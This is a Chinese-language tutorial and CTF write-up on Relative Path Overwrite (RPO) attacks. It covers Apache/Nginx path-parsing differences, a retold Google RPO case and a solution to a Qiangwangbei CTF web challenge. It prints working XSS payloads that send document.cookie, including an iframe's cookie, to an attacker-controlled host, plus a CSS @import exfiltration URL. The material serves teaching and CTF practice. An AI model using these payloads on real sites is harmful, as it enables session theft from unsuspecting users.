RPO (Relative Path Overwrite) 相对路径覆盖,最早由 Gareth Heyes 在其发表的文章中提出。主要是利用浏览器的一些特性和部分服务端的配置差异导致的漏洞,通过一些技巧,我们可以通过引入相对路径来引入其他资源文件,以达到我们的目的。
漏洞成因:
RPO 依赖于浏览器和网络服务器的反应,基于服务器的 Web 缓存技术和配置差异,以及服务器和客户端游览器的解析差异,利用前端代码中加载的 css/js 的相对路径来加载其他文件,最终浏览器将服务器返回的不是 css/js 文件,而是当作 css/js 来解析,从而导致xss、信息泄露等漏洞产生。
Apache 服务器和 Nginx 服务器对 url 解析差异
Apache 服务器对正常 url 的解析:
Nginx 服务器对正常 url 的解析:
而将 url 中的 /
编码为 %2f
之后,就会体现出 Apache 和 Nginx 的差异:
Apache 对编码后的 url 的解析:
Nginx 对编码后的 url 的解析:
可以看到,Apache 服务器对编码后的 url 不能正常解析,而 Nginx 却可以正常解析。
但其实Apache 服务器不能解析%2f
是默认配置问题,可见:链接包含”%2F”导致mod_rewrite失效
加载相对路径文件差异
在 Nginx 中,服务器可以正常解析 url ,即服务器在加载文件时会解码后找到对应文件返回客户端,但是在客户端时不会对 url 进行解码的
那么服务器在解码 url 的时候会发生什么有趣的事呢?
我们在 index.php
中使用相对路径引入 rpo.css
文件
<?phpecho $_SERVER['SERVER_SOFTWARE'];echo "<script src='../static/rpo.css'></script>";echo "<link rel='stylesheet' href='../static/rpo.css'></link>"?>
看看在编码前后的 url 下有什么差异:
编码前,访问的 css 路径:
http://localhost/RPO/static/rpo.css
编码后,访问的 css 路径:
http://localhost/static/rpo.css
可以看到,编码前后访问的 css 文件路径改变,index.php 路径没有改变,由此可见服务器在访问相对路径文件时的差异是以最后一个可用的 /
作为根目录
这句话我看资料的时候一直不懂,自己复现的时候才明白。
由上所述,假如访问的路径为
http://localhost/RPO/rpo/index.php
那么最后一个可用的 /
就是 index.php 前面的,那么根目录就是
http://localhost/RPO/
相当于使用 cd ..
命令回到上一级文件夹,在 RPO 文件夹下有 rpo、static 两个文件夹,所以 index.php 是一个 rpo 文件,回到上一级是 RPO。
那么很简单了,url为
http://localhost/RPO/rpo%2findex.php
时,最后一个可用的 /
在 rpo 前面,那么根目录就是
http://localhost/
引入的 css 文件就在
http://localhost/static/rpo.css
google 案例:
https://blog.innerht.ml/rpo-gadgets/
简单复述如下:
作者找到了一个存在 RPO 攻击可能性的页面:
http://www.google.com/tools/toolbar/buttons/apis/howto_guide.html
页面中存在如下语句引入相对路径的 css 文件:
<html><head><title>Google Toolbar API - Guide to Making Custom Buttons</title> <link href="../../styles.css" rel="stylesheet" type="text/css" />[..]
作者研究了目标服务器如何解释路径,发现浏览器以 /
分隔目录,但是对于在路径中使用斜杠的服务器并不一定意味着有目录。例如,JSP 接受路径参数,该参数将分号后面的所有内容作为参数处理(例如 http://example.com/path;/notpath
),而浏览器无法识别此模式并认为它仍在路径中并且有一个目录。
同时,Google 的工具栏也有自己的解释怪癖:
在发送请求给目标之前,会将请求进行处理并解码所有路径,但依旧不能正确处理 %2f
为 /
。
于是,作者利用 RPO 攻击,引入了一个可控的页面
http://www.google.com/gadgets/directory?synd=toolbar&frontpage=1&q={}*{background:red}
其中 q 是指定搜索项,并会将该参数反应在页面上。
RPO 需要持续的注入,因为导入的样式表不包含查询字符串本身。但是由于路径解码的行为,我们能使用如下 payload 导入样式:
http://www.google.com/tools/toolbar/buttons%2fgallery%3fq%3d%250a%257B%257D*%257Bbackground%253Ared%257D/..%2f/apis/howto_guide.html
css
利用浏览器特性,可以控制路径来是其解析任何非 css 的文件为 css,从而产生漏洞,并且 css 语法没有那么严格,可以存在很多脏字符。
{}*{color: red;}
向上面的语句,即使有不符合 css 语法的地方,游览器也会忽略,继续向下执行直到有合法的 css 代码,所以我们引入的 css 文件可以有很多种写的方式。
如果页面中包括隐私数据和注入点的话我们可以用 CSS Magic 去偷取,使用条件:
1、注入点应该在隐私数据之前
2、注入点允许 %0a,%0c,%0d 等空白字符
3、隐私数据不包含段间歇
在 Google 的例子中就有如下 payload 用来获取隐私数据:
payload:
http://www.google.com/search?nord=1&q={}%0a@import"//innerht.ml?
其中 @import 是一种不常使用的,容易被前端开发忽视的方法。用来引入 css 文件,import 先于除了 @charset 外的其他 css 规则。
js
js 相比 css 语法就显得严格多了,不能包含脏字符,所以写 payload 的时候要注意些。不过可以通过 eavl(String.fromCharCode(97))
的方式执行 js 语句
如果是 html 语句的 payload,请使用 document.write
写入 html dom 中
RPO 导致 XSS
题目来自第二届强网杯 web 题目 show your mind,题目描述:
http://39.107.33.96:20000 Please help me find the vulnerability before I finish this site! hint:xss bot 使用 phantomjs,版本 2.1.1 hint2 : xss 的点不在 report 页面
在 Write article 页面可以写入任意内容,Overview 页面查看当前账户的所有留言,发现无论输入什么语句都不会造成 xss,查看源码发现
<script src="../static/js/jquery.min.js"></script><script src="../static/js/bootstrap.min.js"></script>
存在 rpo 漏洞,尝试了一下,发现 jquery.min.js 是我们可控的
写入新文章 alert(1)
,点击 view,在 url 后面加上 /..%2f..%2f..%2f..%2f
,自动跳转到初始页面,此时弹窗
查看源码,发现 jquery.min.js 的 url 地址
http://39.107.33.96:20000/index.php/view/article/2849/static/js/jquery.min.js
内容就是我们所输入的 alert(1)
那么引入js 的语句就相当于
<script>alert(1)</script>
在写入新文章时,如果填写了标题,就会引入html代码,类似如下:
此时解析为js 时就会引起异常,核心点就在这里,如何使网页将我们的输入解析成正确的js代码?
我们的输入最终会反应在jquery.min.js 中,首先要我们的输入要符合js 语法,并且能绕过检测过滤达到我们的目的,那么使用fromCharCode 就是最好的办法,然后,html 中的<script>
会引入执行js 代码,js会自动把Unicode值转为string,html接着解析string就可以了,漏洞利用完成
所以解题思路出来了,利用 rpo 直接打 cookie,但是这里是 js 文件,语法严格,而且对一些特殊字符进行了实体化处理,payload 采用上面提到的 eval(String.fromCharCode(97))
方式
获取根目录的cookie:
b=document.cookie;a="<img src=//ip/"+btoa(b)+">";document.write(a);
ip 是自己的 vps ip 或着 xss 平台
document.write(a)
将语句输出写入html 之中,然后继续解析document.write 输出的内容
将页面通过 Report 页面发给管理,后台自动点击脚本访问url,vps 获取查看 cookie 即可得到提示 Try to get the cookie of path "/QWB_fl4g/QWB/"
,也就是需要获取不同目录下的 cookie,可以通过 iframe 标签来加载,最后获取 iframe 里的 cookie
柠檬爷爷的 payload:
var i = document.createElement("iframe");i.setAttribute("src", "/QWB_fl4g/QWB/");document.body.appendChild(i);i.addEventListener( "load", function(){ var content = i.contentWindow.document.cookie; location='//ip/'+btoa(content); }, false);
最后即可拿到 flag,Report 页面需要提交一个 code ,用脚本跑一下就能得到,本身是限制脚本的自动化攻击
<?phperror_reporting(0);// 自行修改变量a 对应的值$a = "87d445";for($i=1;$i<1000000;$i++){ if(substr(md5($i),0,6) == $a){ print($i); exit(); }}echo "ok";
去年pwnhub 也有一道RPO 的题目,大家可以去看看firesun的wp,出题人自己的wp 用很巧妙的方式获取了网页源代码
RPO 导致信息泄露
Web 服务器欺骗请求:
当目标网站存在负载服务器时,
访问当前页面下,事实上并不存在的 css 等静态文件时,会在缓存服务器中缓存下存在 用户账号密码的静态文件页面,让攻击者可以直接访问用户账号。
可用于缓存的文件后缀列表:
aif ,aiff,au,avi,bin,bmp,cab,carb,cct,cdf,class,css,doc,dcr,dtd,gcf,gff,gif,grv,hdml,hqx,ico,ini,jpeg,jpg, js,mov,mp3,nc,pct,ppc,pws,swa,swf,txt,vbs,w32,wav,wbmp,wml,wmlc,wmls,wmlsc,xsd,zip
reffer
https://xz.aliyun.com/t/2220
http://www.cnblogs.com/iamstudy/articles/2th_qiangwangbei_ctf_writeup.html
http://www.ideawu.net/blog/archives/494.html
本文分享自微信公众号 - 信安之路(xazlsec),作者:mntn